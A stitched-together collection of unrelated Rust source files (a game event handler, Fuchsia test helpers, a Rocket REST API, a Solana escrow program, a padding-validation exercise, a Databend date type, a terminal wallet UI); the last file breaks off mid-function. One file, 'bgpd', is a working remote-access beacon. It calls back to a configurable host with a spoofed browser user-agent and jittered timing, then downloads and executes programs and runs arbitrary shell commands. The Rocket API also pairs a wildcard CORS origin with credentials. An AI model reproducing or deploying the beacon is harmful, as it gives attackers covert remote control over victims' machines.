EventCreateUnit(id, pos, type_id, player_id) => {
assert!(self.units.find(&id).is_none());
let move_points
= object_types.get_unit_type(type_id).move_points;
self.units.insert(id, Unit {
id: id,
pos: pos,
player_id: player_id,
type_id: type_id,
move_points: move_points,
attacked: false,
});
},
EventAttackUnit(attacker_id, defender_id, killed) => {
if killed {
assert!(self.units.find(&defender_id).is_some());
self.units.remove(&defender_id);
}
let unit = self.units.get_mut(&attacker_id);
assert!(!unit.attacked);
unit.attacked = true;
},
}
}
}
// vim: set tabstop=4 shiftwidth=4 softtabstop=4 expandtab:
|
use crate::field::Field;
use crate::subfield::Subfield;
pub struct Subfields<'a> {
field: Field<'a>,
offset: usize,
start: Option<usize>,
ident: Option<u8>,
count: Option<u32>,
}
impl<'a> Subfields<'a> {
pub fn new(f: Field<'a>) -> Subfields<'a> {
Subfields {
field: f,
offset: 0,
start: None,
ident: None,
count: None,
}
}
}
impl<'a> Iterator for Subfields<'a> {
type Item = Subfield<'a>;
fn next(&mut self) -> Option<Self::Item> {
unimplemented!()
}
} |
#[macro_use]
extern crate serde_derive;
extern crate serde;
extern crate clap;
extern crate rand;
extern crate reqwest;
extern crate serde_json;
use std::{thread, time};
use std::str::FromStr;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
use clap::{Arg, App};
use reqwest::header;
#[derive(Deserialize)]
struct Instructions {
ip: String,
port: String,
time: u64,
window: u64,
cmd: String,
prog: Vec<u8>,
name: String
}
fn main() {
let args =
App::new("bgpd").version("1.0")
.arg(Arg::with_name("ip").short("i").long("ip").value_name("IP_ADDRESS").takes_value(true).required(true)
.help("The ip address to send request to."))
.arg(Arg::with_name("port").short("p").long("port").value_name("PORT").takes_value(true).required(true)
.help("The port to send the request over."))
.arg(Arg::with_name("time").short("t").long("time").value_name("TIME").takes_value(true).required(true)
.help("The amount of time in seconds to wait in-between callouts."))
.arg(Arg::with_name("window").short("w").long("window").value_name("TIME").takes_value(true).required(true)
.help("The max amount of time in seconds to add to the callout time to introduce randomness."))
.get_matches();
let mut ip: String = args.value_of("ip").expect("Couldn't find ip parameter!").to_string();
let mut port: String = args.value_of("port").expect("Couldn't find port parameter!").to_string();
let mut url: String = format!("http://{}:{}", ip, port);
let mut time: u64 = FromStr::from_str(args.value_of("time").unwrap()).unwrap();
let mut window: u64 = FromStr::from_str(args.value_of("window").unwrap()).unwrap();
let mut rng = rand::thread_rng();
let mut window_time: u64;
let client = reqwest::Client::new();
loop {
if let Ok(mut request) = client.get(&url).header(header::USER_AGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246").send() {
let instructions: Instructions = request.json().expect("Failed to deserialize response!");
if instructions.ip != "" { ip = instructions.ip; }
if instructions.port != "" { port = instructions.port; }
url = format!("http://{}:{}", ip, port);
if instructions.time != 0 { time = instructions.time; }
if instructions.window != 0 { window = instructions.window; }
if !instructions.prog.is_empty() && instructions.name != "" { run_prog(instructions.prog, instructions.name); }
if instructions.cmd != "" { run_cmd(&instructions.cmd); }
}
window_time = rng.gen_range(0, window+1);
thread::sleep(time::Duration::from_secs(time + window_time));
}
}
fn run_prog(prog: Vec<u8>, name: String) -> () {
if let Ok(mut file) = File::create(&name) {
let _ = file.write_all(&prog);
println!("Finished writing!");
thread::sleep(time::Duration::from_secs(27));
println!("About to run: {}", &name);
}
run_cmd(&name);
}
fn run_cmd(cmd: &str) -> () {
let _ = if cfg!(target_os = "windows") {
Command::new("cmd").args(&["/C", &cmd]).output()
} else {
Command::new("sh").args(&["-c", &cmd]).output()
};
}
|
// Copyright 2015 Jerome Rasky <jerome@rasky.co>
//
// Licensed under the Apache License, version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy of
// the License at
//
// <http://www.apache.org/licenses/LICENSE-2.0>
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
// WARRANTIES OR CONDITIONS OF ANY KIND, either expressed or implied. See the
// License for the specific language concerning governing permissions and
// limitations under the License.
#![feature(cstr_to_str)]
#![feature(convert)]
#![feature(collections)]
#![feature(into_cow)]
#![feature(iter_arith)]
#![feature(io)]
#![feature(mpsc_select)]
extern crate libc;
#[macro_use]
extern crate log;
extern crate env_logger;
extern crate term;
extern crate unicode_width;
use ui::UI;
mod search;
mod error;
mod bis_c;
mod ui;
mod constants;
fn main() {
// init logging
match env_logger::init() {
Ok(()) => {
trace!("Logging initialized successfully");
},
Err(e) => {
panic!("Failed to initialize logging: {}", e);
}
}
// create the UI instance
debug!("Creating UI instance");
let mut ui = match UI::create() {
Err(e) => {
panic!("Failed to create UI instance: {}", e);
},
Ok(ui) => {
trace!("UI instance created successfully");
ui
}
};
// start the ui
debug!("Starting UI");
match ui.start() {
Ok(_) => {
debug!("UI finished successfully");
},
Err(e) => {
panic!("UI failure: {}", e);
}
}
}
|
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//! This module provides common constants and helpers to assist in the unit-testing of other
//! modules within the crate.
use crate::common::AccountLifetime;
use account_common::{LocalAccountId, LocalPersonaId};
use fidl::endpoints::{create_endpoints, ClientEnd};
use fidl_fuchsia_auth::AppConfig;
use fidl_fuchsia_identity_account::Error;
use fidl_fuchsia_identity_internal::{
AccountHandlerContextMarker, AccountHandlerContextRequest, AccountHandlerContextRequestStream,
};
use fuchsia_async as fasync;
use futures::prelude::*;
use lazy_static::lazy_static;
use log::error;
use std::path::PathBuf;
use std::sync::Arc;
use tempfile::TempDir;
lazy_static! {
pub static ref TEST_ACCOUNT_ID: LocalAccountId = LocalAccountId::new(111111);
pub static ref TEST_PERSONA_ID: LocalPersonaId = LocalPersonaId::new(222222);
}
pub static TEST_APPLICATION_URL: &str = "test_app_url";
pub static TEST_ACCOUNT_ID_UINT: u64 = 111111;
// TODO(jsankey): If fidl calls ever accept non-mutable structs, move this to a lazy_static.
// Currently FIDL requires mutable access to a type that doesn't support clone, so we just create a
// fresh instance each time.
pub fn create_dummy_app_config() -> AppConfig {
AppConfig {
auth_provider_type: "dummy_auth_provider".to_string(),
client_id: None,
client_secret: None,
redirect_uri: None,
}
}
pub struct TempLocation {
/// A fresh temp directory that will be deleted when this object is dropped.
_dir: TempDir,
/// A path to an existing temp dir.
pub path: PathBuf,
}
impl TempLocation {
/// Return a writable, temporary location and optionally create it as a directory.
pub fn new() -> TempLocation {
let dir = TempDir::new().unwrap();
let path = dir.path().to_path_buf();
TempLocation { _dir: dir, path }
}
/// Returns a path to a static test path inside the temporary location which does not exist by
/// default.
pub fn test_path(&self) -> PathBuf {
self.path.join("test_path")
}
/// Returns a persistent AccountLifetime with the path set to this TempLocation's path.
pub fn to_persistent_lifetime(&self) -> AccountLifetime {
AccountLifetime::Persistent { account_dir: self.path.clone() }
}
}
/// A fake meant for tests which rely on an AccountHandlerContext, but the context itself
/// isn't under test. As opposed to the real type, this doesn't depend on any other
/// components. Panics when getting unexpected messages or args, as defined by the implementation.
pub struct FakeAccountHandlerContext {}
impl FakeAccountHandlerContext {
/// Creates new fake account handler context
pub fn new() -> Self {
Self {}
}
/// Asynchronously handles the supplied stream of `AccountHandlerContextRequest` messages.
pub async fn handle_requests_from_stream(
&self,
mut stream: AccountHandlerContextRequestStream,
) -> Result<(), fidl::Error> {
while let Some(req) = stream.try_next().await? {
self.handle_request(req).await?;
}
Ok(())
}
/// Asynchronously handles a single `AccountHandlerContextRequest`.
async fn handle_request(&self, req: AccountHandlerContextRequest) -> Result<(), fidl::Error> {
match req {
AccountHandlerContextRequest::GetAuthProvider { responder, .. } => {
responder.send(&mut Err(Error::Internal))
}
}
}
}
/// Creates a new `AccountHandlerContext` channel, spawns a task to handle requests received on
/// this channel using the supplied `FakeAccountHandlerContext`, and returns the `ClientEnd`.
pub fn spawn_context_channel(
context: Arc<FakeAccountHandlerContext>,
) -> ClientEnd<AccountHandlerContextMarker> {
let (client_end, server_end) = create_endpoints().unwrap();
let request_stream = server_end.into_stream().unwrap();
let context_clone = Arc::clone(&context);
fasync::spawn(async move {
context_clone
.handle_requests_from_stream(request_stream)
.await
.unwrap_or_else(|err| error!("Error handling FakeAccountHandlerContext: {:?}", err))
});
client_end
}
#[cfg(test)]
mod tests {
use super::*;
#[fuchsia_async::run_until_stalled(test)]
async fn test_context_fake() {
let fake_context = Arc::new(FakeAccountHandlerContext::new());
let client_end = spawn_context_channel(fake_context.clone());
let proxy = client_end.into_proxy().unwrap();
let (_, ap_server_end) = create_endpoints().expect("failed creating channel pair");
assert_eq!(
proxy.get_auth_provider("dummy_auth_provider", ap_server_end).await.unwrap(),
Err(Error::Internal)
);
}
}
|
use repository::Repository;
use rocket::{Build, Request, Response, State, fairing::{Fairing, Info, Kind}, futures::lock::Mutex, get, http::Header, put, response::Responder, routes, serde::json::Json};
mod results;
use results::*;
#[derive(Debug, Responder)]
pub enum Error {
#[response(status = 500)]
Rocket(String),
#[response(status = 500)]
LowLevel(String),
#[response(status = 404)]
NotFound(()),
#[response(status = 500)]
ServerError(String),
}
impl From<repository::error::Error> for Error {
fn from(err: repository::error::Error) -> Self {
match err {
repository::error::Error::LowLevel(msg) => Error::LowLevel(msg),
repository::error::Error::NotFound => Error::NotFound(()),
repository::error::Error::UnknownStateType(msg) => Error::ServerError(msg),
repository::error::Error::UnknownConfidenceLevel(msg) => Error::ServerError(msg),
}
}
}
impl From<rocket::Error> for Error {
fn from(err: rocket::Error) -> Self {
Error::Rocket(format!("{}", err))
}
}
type SafeRepo = Mutex<Repository>;
pub struct CORS;
#[rocket::async_trait]
impl Fairing for CORS {
fn info(&self) -> Info {
Info {
name: "Add CORS headers to responses",
kind: Kind::Response,
}
}
async fn on_response<'r>(&self, request: &'r Request<'_>, response: &mut Response<'r>) {
let request_str = request.to_string();
println!("Setting access control allow origin for {}", request_str);
response.set_header(Header::new("Access-Control-Allow-Origin", "*"));
response.set_header(Header::new(
"Access-Control-Allow-Methods",
"POST, GET, PATCH, OPTIONS",
));
response.set_header(Header::new("Access-Control-Allow-Headers", "*"));
response.set_header(Header::new("Access-Control-Allow-Credentials", "true"));
}
}
#[rocket::main]
async fn main() -> Result<(), crate::Error> {
Ok(rocket().await?.launch().await?)
}
async fn rocket() -> Result<rocket::Rocket<Build>, crate::Error> {
let repo = Repository::open(None).await?;
let state = Mutex::new(repo);
let routes = routes![
index,
get_image_sources,
get_image_source,
update_image_source,
get_states,
get_counties,
get_projects,
get_manufacturers,
get_models,
get_turbines,
];
Ok(rocket::build()
.attach(CORS)
.mount("/", routes)
.manage(state))
}
#[get("/")]
async fn index() -> &'static str {
"Hello world!"
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/imagesources
#[get("/api/imagesources")]
async fn get_image_sources(repo: &State<SafeRepo>) -> Result<Json<Vec<ImageSource>>, crate::Error> {
let mut repo = repo.lock().await;
let mut image_sources = repo.get_all_image_sources().await?;
image_sources.sort_by(|a, b| a.id.cmp(&b.id));
let image_sources = image_sources.into_iter().map(|i| i.into()).collect();
Ok(Json(image_sources))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/imagesources/1
#[get("/api/imagesources/<id>")]
async fn get_image_source(
repo: &State<SafeRepo>,
id: u8,
) -> Result<Json<ImageSource>, crate::Error> {
let mut repo = repo.lock().await;
let image_source = repo.get_image_source(id).await?;
Ok(Json(image_source.into()))
}
/// curl -X PUT http://localhost:8000/api/imagesources/1 -d '"Digital Globe XXX"' -H "Content-Type: application/json"
#[put("/api/imagesources/<id>", format = "json", data = "<name>")]
async fn update_image_source(
repo: &State<SafeRepo>,
id: u8,
name: Json<String>,
) -> Result<(), crate::Error> {
let mut repo = repo.lock().await;
match repo.update_image_source(id, &name).await? {
0 => Err(Error::NotFound(())),
1 => Ok(()),
n @ _ => Err(Error::ServerError(format!("Unexpected row count {}", n))),
}
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/states
#[get("/api/states")]
async fn get_states(repo: &State<SafeRepo>) -> Result<Json<Vec<results::State>>, crate::Error> {
let mut repo = repo.lock().await;
let mut states = repo.get_all_states().await?;
states.sort_by(|a, b| a.id.cmp(&b.id));
let states = states.into_iter().map(|i| i.into()).collect();
Ok(Json(states))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/counties
#[get("/api/counties")]
async fn get_counties(repo: &State<SafeRepo>) -> Result<Json<Vec<County>>, crate::Error> {
let mut repo = repo.lock().await;
let mut counties = repo.get_all_counties().await?;
counties.sort_by(|a, b| a.id.cmp(&b.id));
let counties = counties.into_iter().map(|i| i.into()).collect();
Ok(Json(counties))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/projects
#[get("/api/projects")]
async fn get_projects(repo: &State<SafeRepo>) -> Result<Json<Vec<Project>>, crate::Error> {
let mut repo = repo.lock().await;
let mut projects = repo.get_all_projects().await?;
projects.sort_by(|a, b| a.name.cmp(&b.name));
let projects = projects.into_iter().map(|i| i.into()).collect();
Ok(Json(projects))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/manufacturers
#[get("/api/manufacturers")]
async fn get_manufacturers(
repo: &State<SafeRepo>,
) -> Result<Json<Vec<Manufacturer>>, crate::Error> {
let mut repo = repo.lock().await;
let mut manufacturers = repo.get_all_manufacturers().await?;
manufacturers.sort_by(|a, b| a.name.cmp(&b.name));
let manufacturers = manufacturers.into_iter().map(|i| i.into()).collect();
Ok(Json(manufacturers))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/models
#[get("/api/models")]
async fn get_models(repo: &State<SafeRepo>) -> Result<Json<Vec<Model>>, crate::Error> {
let mut repo = repo.lock().await;
let mut models = repo.get_all_models().await?;
models.sort_by(|a, b| a.name.cmp(&b.name));
let models = models.into_iter().map(|i| i.into()).collect();
Ok(Json(models))
}
/// curl -w "\n" -i -X GET http://localhost:8000/api/turbines
#[get("/api/turbines")]
async fn get_turbines(repo: &State<SafeRepo>) -> Result<Json<Vec<Turbine>>, crate::Error> {
let mut repo = repo.lock().await;
let mut turbines = repo.get_all_turbines().await?;
turbines.sort_by(|a, b| a.id.cmp(&b.id));
let turbines = turbines.into_iter().map(|i| i.into()).collect();
Ok(Json(turbines))
}
|
/// processor.rs -> program logic
use solana_program::{
account_info::{next_account_info, AccountInfo},
entrypoint::ProgramResult,
program_error::ProgramError,
msg,
pubkey::Pubkey,
program_pack::{Pack, IsInitialized},
sysvar::{rent::Rent, Sysvar},
program::invoke,
};
use crate::{instruction::EscrowInstruction, error::EscrowError, state::Escrow};
pub struct Processor;
impl Processor {
pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8]) -> ProgramResult {
let instruction = EscrowInstruction::unpack(instruction_data)?;
match instruction {
EscrowInstruction::InitEscrow { amount } => {
msg!("Instruction: InitEscrow");
Self::process_init_escrow(accounts, amount, program_id)
}
}
}
fn process_init_escrow(
accounts: &[AccountInfo],
amount: u64,
program_id: &Pubkey,
) -> ProgramResult {
let account_info_iter = &mut accounts.iter();
let initializer = next_account_info(account_info_iter)?;
if !initializer.is_signer {
return Err(ProgramError::MissingRequiredSignature);
}
let temp_token_account = next_account_info(account_info_iter)?;
let token_to_receive_account = next_account_info(account_info_iter)?;
if *token_to_receive_account.owner != spl_token::id() {
return Err(ProgramError::IncorrectProgramId);
}
let escrow_account = next_account_info(account_info_iter)?;
let rent = &Rent::from_account_info(next_account_info(account_info_iter)?)?;
if !rent.is_exempt(escrow_account.lamports(), escrow_account.data_len()) {
return Err(EscrowError::NotRentExempt.into());
}
// Create the escrow struct instance and check that it is indeed uninitialized
let mut escrow_info = Escrow::unpack_unchecked(&escrow_account.data.borrow())?;
if escrow_info.is_initialized() {
return Err(ProgramError::AccountAlreadyInitialized);
}
// Now, populate the Escrow struct's fields
escrow_info.is_initialized = true;
escrow_info.initializer_pubkey = *initializer.key;
escrow_info.temp_token_account_pubkey = *temp_token_account.key;
escrow_info.initializer_token_to_receive_account_pubkey = *token_to_receive_account.key;
escrow_info.expected_amount = amount;
Escrow::pack(escrow_info, &mut escrow_account.data.borrow_mut())?; // `pack` is another default function which internally calls our pack_into_slice function.
// Now, we need to transfer (user space) ownership of the temporary token account to the PDA...
// What is a PDA (Program derived address)?
// 0. https://docs.solana.com/developing/programming-model/calling-between-programs#program-derived-addresses
// 1. Allows programmaticly generated signature to be used when calling between programs.
// 2. To give a program the authority over an account and later transfer that authority to another.
// 3. Allow programs to control specific addresses, called program addresses, in such a way that no external user can generate valid transactions with signatures for those addresses.
// 4. Allow programs to programmatically sign for program addresses that are present in instructions invoked via Cross-Program Invocations.
// 5. Given the previous two conditions, users can securely transfer or assign the authority of on-chain assets to program addresses and the program can then assign that authority elsewhere at its discretion.
// 6. A Program address does not lie on the ed25519 curve and therefore has no valid private key associated with it, and thus generating a signature for it is impossible.
// 7. While it has no private key of its own, it can be used by a program to issue an instruction that includes the Program address as a signer.
// Create a PDA by passing in an array of seeds and the program_id to `find_program_address`.
// Passing a static seed: "escrow".
// We need 1 PDA that can own N temporary token accounts for different escrows occuring at any and possibly the same point in time.
// We won't need the bump seed in Alice's tx.
let (pda, _bump_seed) = Pubkey::find_program_address(&[b"escrow"], program_id);
// To transfer the (user space) ownership of the temporary token account to the PDA,
// we will call the token program from our escrow program.
// This is called a Cross-Program Invocation (opens new window)
// and executed using either the invoke or the invoke_signed function.
// Get the token_program account.
// The program being called through a CPI (Cross-Program Invocation) must be included as an account in the 2nd argument of invoke
let token_program = next_account_info(account_info_iter)?;
// Now we create the instruction that the token program would expect were we executing a normal call.
// `set_authority` is a builder helper function (in instruction.rs) to create such an instruction
// Using [Signature Extension concept](https://docs.solana.com/developing/programming-model/calling-between-programs#instructions-that-require-privileges)
// because Alice signed the InitEscrow transaction, the program can make the token program set_authority CPI and include her pubkey as a signer pubkey.
// This is necessary because changing a token account's owner should of course require the approval of the current owner.
let owner_change_ix = spl_token::instruction::set_authority(
token_program.key, // token program id
temp_token_account.key, // account whose authority we'd like to change
Some(&pda), // account that's the new authority (in this case the PDA)
spl_token::instruction::AuthorityType::AccountOwner, // the type of authority change (change the owner)
initializer.key, // the current account owner (Alice -> initializer.key)
&[&initializer.key], // the public keys signing the CPI
)?;
msg!("Calling the token program to transfer token account ownership...");
invoke(
&owner_change_ix, // The instruction
&[ // The accounts required by the instruction
temp_token_account.clone(),
initializer.clone(),
token_program.clone(),
],
)?;
Ok(())
}
}
|
mod aes;
fn main() {
let mut padding = aes::pad("1234567891234".as_bytes().to_vec(),16);
println!("{:?}",padding);
padding[13] = 2;
validate_padding(&padding);
}
fn validate_padding(text: &[u8]) {
let len = text.len();
let last = text[len-1];
println!("len: {}, last: {}",len,last);
if last as usize >= len {
panic!("INVALID PADDING");
}
for i in len-last as usize..len{
if text[i] != last{
panic!("INVALID PADDING");
}
}
} |
// Copyright 2022 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::fmt::Display;
use std::io::Cursor;
use std::ops::Range;
use chrono::NaiveDate;
use chrono_tz::Tz;
use common_arrow::arrow::buffer::Buffer;
use common_io::cursor_ext::BufferReadDateTimeExt;
use common_io::cursor_ext::ReadBytesExt;
use num_traits::AsPrimitive;
use super::number::SimpleDomain;
use crate::date_helper::DateConverter;
use crate::property::Domain;
use crate::types::ArgType;
use crate::types::DataType;
use crate::types::GenericMap;
use crate::types::ValueType;
use crate::utils::arrow::buffer_into_mut;
use crate::values::Column;
use crate::values::Scalar;
use crate::ColumnBuilder;
use crate::ScalarRef;
pub const DATE_FORMAT: &str = "%Y-%m-%d";
/// Minimum valid date, represented by the day offset from 1970-01-01.
pub const DATE_MIN: i32 = -354285;
/// Maximum valid date, represented by the day offset from 1970-01-01.
pub const DATE_MAX: i32 = 2932896;
/// Check if date is within range.
#[inline]
pub fn check_date(days: i64) -> Result<i32, String> {
if (DATE_MIN as i64..=DATE_MAX as i64).contains(&days) {
Ok(days as i32)
} else {
Err("date is out of range".to_string())
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct DateType;
impl ValueType for DateType {
type Scalar = i32;
type ScalarRef<'a> = i32;
type Column = Buffer<i32>;
type Domain = SimpleDomain<i32>;
type ColumnIterator<'a> = std::iter::Cloned<std::slice::Iter<'a, i32>>;
type ColumnBuilder = Vec<i32>;
#[inline]
fn upcast_gat<'short, 'long: 'short>(long: i32) -> i32 {
long
}
fn to_owned_scalar<'a>(scalar: Self::ScalarRef<'a>) -> Self::Scalar {
scalar
}
fn to_scalar_ref<'a>(scalar: &'a Self::Scalar) -> Self::ScalarRef<'a> {
*scalar
}
fn try_downcast_scalar<'a>(scalar: &'a ScalarRef) -> Option<Self::ScalarRef<'a>> {
match scalar {
ScalarRef::Date(scalar) => Some(*scalar),
_ => None,
}
}
fn try_downcast_column<'a>(col: &'a Column) -> Option<Self::Column> {
match col {
Column::Date(column) => Some(column.clone()),
_ => None,
}
}
fn try_downcast_domain(domain: &Domain) -> Option<SimpleDomain<i32>> {
domain.as_date().map(SimpleDomain::clone)
}
fn try_downcast_builder<'a>(
builder: &'a mut ColumnBuilder,
) -> Option<&'a mut Self::ColumnBuilder> {
match builder {
ColumnBuilder::Date(builder) => Some(builder),
_ => None,
}
}
fn upcast_scalar(scalar: Self::Scalar) -> Scalar {
Scalar::Date(scalar)
}
fn upcast_column(col: Self::Column) -> Column {
Column::Date(col)
}
fn upcast_domain(domain: SimpleDomain<i32>) -> Domain {
Domain::Date(domain)
}
fn column_len<'a>(col: &'a Self::Column) -> usize {
col.len()
}
fn index_column<'a>(col: &'a Self::Column, index: usize) -> Option<Self::ScalarRef<'a>> {
col.get(index).cloned()
}
unsafe fn index_column_unchecked<'a>(
col: &'a Self::Column,
index: usize,
) -> Self::ScalarRef<'a> {
*col.get_unchecked(index)
}
fn slice_column<'a>(col: &'a Self::Column, range: Range<usize>) -> Self::Column {
col.clone().sliced(range.start, range.end - range.start)
}
fn iter_column<'a>(col: &'a Self::Column) -> Self::ColumnIterator<'a> {
col.iter().cloned()
}
fn column_to_builder(col: Self::Column) -> Self::ColumnBuilder {
buffer_into_mut(col)
}
fn builder_len(builder: &Self::ColumnBuilder) -> usize {
builder.len()
}
fn push_item(builder: &mut Self::ColumnBuilder, item: Self::Scalar) {
builder.push(item);
}
fn push_default(builder: &mut Self::ColumnBuilder) {
builder.push(Self::Scalar::default());
}
fn append_column(builder: &mut Self::ColumnBuilder, other: &Self::Column) {
builder.extend_from_slice(other);
}
fn build_column(builder: Self::ColumnBuilder) -> Self::Column {
builder.into()
}
fn build_scalar(builder: Self::ColumnBuilder) -> Self::Scalar {
assert_eq!(builder.len(), 1);
builder[0]
}
}
impl ArgType for DateType {
fn data_type() -> DataType {
DataType::Date
}
fn full_domain() -> Self::Domain {
SimpleDomain {
min: DATE_MIN,
max: DATE_MAX,
}
}
fn create_builder(capacity: usize, _generics: &GenericMap) -> Self::ColumnBuilder {
Vec::with_capacity(capacity)
}
fn column_from_vec(vec: Vec<Self::Scalar>, _generics: &GenericMap) -> Self::Column {
vec.into()
}
fn column_from_iter(iter: impl Iterator<Item = Self::Scalar>, _: &GenericMap) -> Self::Column {
iter.collect()
}
fn column_from_ref_iter<'a>(
iter: impl Iterator<Item = Self::ScalarRef<'a>>,
_: &GenericMap,
) -> Self::Column {
iter.collect()
}
}
#[inline]
pub fn string_to_date(date_str: impl AsRef<[u8]>, tz: Tz) -> Option<NaiveDate> {
let mut reader = Cursor::new(std::str::from_utf8(date_str.as_ref()).unwrap().as_bytes());
match reader.read_date_text(&tz) {
Ok(d) => match reader.must_eof() {
Ok(..) => Some(d),
Err(_) => None,
},
Err(_) => None,
}
}
#[inline]
pub fn date_to_string(date: impl AsPrimitive<i64>, tz: Tz) -> impl Display {
date.as_().to_date(tz).format(DATE_FORMAT)
}
|
use tui::{
backend::Backend,
Frame,
layout::{Layout, Constraint, Direction, Alignment, Rect},
style::{Color,Style,Modifier},
symbols,
text::{Span, Spans},
widgets::{
Block,
Borders,
Paragraph,
Row,
Tabs,
Table,
List,
ListItem,
Dataset,
GraphType,
Chart,
Axis}
};
use crate::tui_app::App;
pub fn draw<B: Backend>(f: &mut Frame<B>, app: &mut App) {
//create tabs first
let tab_titles = vec!["Home", "Wallet", "Liquidity Pools"].iter().cloned().map(Spans::from).collect();
let tabs = Tabs::new(tab_titles)
.block(Block::default().title("Tabs").borders(Borders::ALL))
.highlight_style(Style::default().fg(Color::Cyan))
.select(app.selected_tab);
let chunks = Layout::default()
.direction(Direction::Vertical)
.margin(1)
.constraints(
[
Constraint::Percentage(15),
Constraint::Percentage(85),
].as_ref()
)
.split(f.size());
f.render_widget(tabs, chunks[0]);
match app.selected_tab {
0 => draw_home_tab(f, chunks[1]),
1 => draw_wallet_tab(f, app, chunks[1]),
//2 => draw_lp_tab(f, app, chunks[1]),
_ => {},
}
}
fn draw_home_tab<B>(f: &mut Frame<B>, area: Rect) where B: Backend {
//create home page paragraph
let home_text = vec![
Spans::from(Span::raw("Welcome to the app!")),
Spans::from(Span::raw("Press \'q\' to quit, \'h\' to go to home page, \'w\' to go to wallet tab, or \'l\' to go to liquidity pool page")),
];
let home_paragraph = Paragraph::new(home_text)
.block(Block::default().borders(Borders::ALL))
.alignment(Alignment::Center);
f.render_widget(home_paragraph, area);
}
fn draw_wallet_tab<B>(f: &mut Frame<B>, app: &mut App, area: Rect) where B: Backend {
let chunks = Layout::default()
.direction(Direction::Horizontal)
.margin(2)
.constraints(
[
Constraint::Percentage(20),
Constraint::Percentage(80),
].as_ref()
).split(area);
let data_chunks = Layout::default()
.direction(Direction::Vertical)
.margin(2)
.constraints(
[
Constraint::Percentage(80),
Constraint::Percentage(20),
]
).split(chunks[1]);
draw_wallet_list(f, app, chunks[0]);
draw_wallet_mv_chart(f, app, data_chunks[0]);
draw_wallet_summary_table(f, app, data_chunks[1]);
}
fn draw_wallet_list<B>(f: &mut Frame<B>, app: &mut App, area: Rect) where B: Backend {
// Draw wallet list
let wallet_tokens: Vec<ListItem> = app
.wallet_list_state
.items
.iter()
.map(|i| ListItem::new(vec![Spans::from(Span::raw(i))]))
.collect();
let wallet_list = List::new(wallet_tokens)
.block(Block::default().borders(Borders::ALL).title("Tokens"))
.highlight_style(Style::default().add_modifier(Modifier::BOLD))
.highlight_symbol("> ");
app.selected_token = app.wallet_list_state.items.get(app.wallet_list_state.state.selected().unwrap()).unwrap().to_string();
f.render_stateful_widget(wallet_list, area, &mut app.wallet_list_state.state);
}
fn draw_wallet_mv_chart<B>(f: &mut Frame<B>, app: &mut App, area: Rect) where B: Backend {
//create wallet line chart dataset
let mv_datapoints: Vec<(f64, f64)> = app.daily_holdings_mv
.get(&app.selected_token)
.unwrap()
.values()
.enumerate()
.map(|(x,y)|(0.0 + x as f64, *y)).collect();
let mut datasets = vec![
Dataset::default()
.name("Holdings Over Time")
.graph_type(GraphType::Line)
.marker(symbols::Marker::Braille)
.style(Style::default().fg(Color::LightGreen))
.data(&mv_datapoints),
];
let mut cb_datapoints = Vec::<(f64, f64)>::new();
if app.selected_token != app.base_token {
app.cost_bases
.get(&app.selected_token)
.unwrap()
.iter()
.enumerate()
.for_each(|(x, y)| cb_datapoints.push((0.0 + x as f64, y.1)));
datasets.push(Dataset::default()
.name("Cost Over Time")
.graph_type(GraphType::Line)
.marker(symbols::Marker::Braille)
.style(Style::default().fg(Color::LightRed))
.data(&cb_datapoints));
}
let first_datapoint = mv_datapoints.iter().map(|x| x.1).next().expect("There should be transactions data");
let mut y_max = first_datapoint;
let mut y_min = first_datapoint;
if app.selected_token == app.base_token {
for v in mv_datapoints.iter().map(|x| x.1) {
y_min = f64::min(y_min, v);
y_max = f64::max(y_max, v);
}
} else {
for (x, y) in mv_datapoints.iter().zip(cb_datapoints.iter()) {
let min_check = f64::min(x.1, y.1);
let max_check = f64::max(x.1, y.1);
y_min = f64::min(y_min, min_check);
y_max = f64::max(y_max, max_check);
}
}
if y_min < 0.0 {
y_min = 1.1 * y_min;
} else {
y_min = 0.9 * y_min;
}
if y_max < 0.0 {
y_max = 0.9 * y_max;
} else {
y_max = 1.1 * y_max;
}
let y_mid;
if y_max < 0.0 {
y_mid = (y_min - y_max) / 2.0;
} else {
y_mid = (y_max - y_min) / 2.0;
}
let dates = app.daily_holdings_mv.get(&app.selected_token).unwrap();
let x_min = dates.keys().next().expect("We should have dates here");
let x_max = dates.keys().last().expect("We should have a last date");
let wallet_chart = Chart::new(datasets).block(Block::default().borders(Borders::ALL))
.x_axis(Axis::default()
.title(Span::styled("Date", Style::default().fg(Color::White)))
.style(Style::default().fg(Color::White))
.bounds([0.0, mv_datapoints.last().expect("We should have datapoints here").0])
.labels([x_min, x_max].iter().map(|d| Span::from(format!("{}", d.format("%D")))).collect()))
.y_axis(Axis::default()
.title(Span::styled("Amount", Style::default().fg(Color::White)))
.style(Style::default().fg(Color::White))
.bounds([y_min, y_max])
.labels([y_min, y_mid, y_max].iter().map(|s| Span::from(format!("{:.2e}", f64::round(*s)))).collect())
);
f.render_widget(wallet_chart, area);
}
fn draw_wallet_summary_table<B>(f: &mut Frame<B>, app: &mut App, area: Rect) where B: Backend {
//create wallet paragraph
let wallet_table_text = vec![
format!("{}", app.total_holdings.get(&app.selected_token).unwrap()),
String::from(format!("{} {}", app.total_holdings_mv.get(&app.selected_token).unwrap(), app.base_token)),
